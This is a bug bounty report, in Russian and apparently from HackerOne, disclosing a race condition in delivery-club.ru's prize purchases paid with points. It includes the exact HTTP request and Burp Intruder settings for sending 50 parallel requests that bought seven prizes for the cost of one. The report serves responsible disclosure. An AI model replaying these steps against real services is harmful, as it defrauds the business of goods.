Lucene search

K
hackeroneOrlsergH1:700833
HistorySep 24, 2019 - 7:02 a.m.

Mail.ru: Race condition на покупке призов за баллы

2019-09-2407:02:08
orlserg
hackerone.com
14

Добрый день!

Описание

Уязвимость Race condition была обнаружена на delivery-club.ru при покупке за баллы. Запросы покупки успевают пройти до того, как происходит списание баллов. Таким образом можно успеть купить несколько товаров не тратя на это баллы.

Тестирование

У меня на счету было 105 баллов. Запустив 50 запросов на покупку товара (за 100 баллов) в 50 потоков, я получил 7 ответов сервера о покупке. Выигрыш от эксплуатации уязвимости составил 600 баллов.
███████

То есть на 105 баллов я смог купить 7 товаров. Ответ содержал информацию о том, что на счету осталось 5 баллов.

███

Последующие ответы содержали ошибки о том, что баллов недостаточно:

{"error": "Недостаточно баллов"}

██████

Сам запрос выглядит следующим образом:

GET /ajax/choose_prize/?bonus_id=5338 HTTP/1.1
Host: kemerovo.delivery-club.ru
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-CSRF-Token: ██████████
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Referer: https://kemerovo.delivery-club.ru/prizes/cat/30/
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: { cookies }

Шаги для воспроизведения

  1. Залогиниться и перейти на покупку приза
  2. Перехватить запрос на покупку через Burp intercept
  3. Отправить запрос в Burp Intreder и дропнуть перехваченный запрос
  4. В Burp Intreder установить:
  • Payload type: Null payload
  • Payload options: generate 50 payloads
  • Number of threads: 50
  1. Запустить атаку Burp Intreder
  2. Вы купили сертификатов больше чем могли по бизнес логике

Impact

Уязвимость состояния гонки может привести к обману бизнес логики приложения, позволяя таким образом совершить покупки за баллы, которые еще не успели списаться предыдущей покупкой.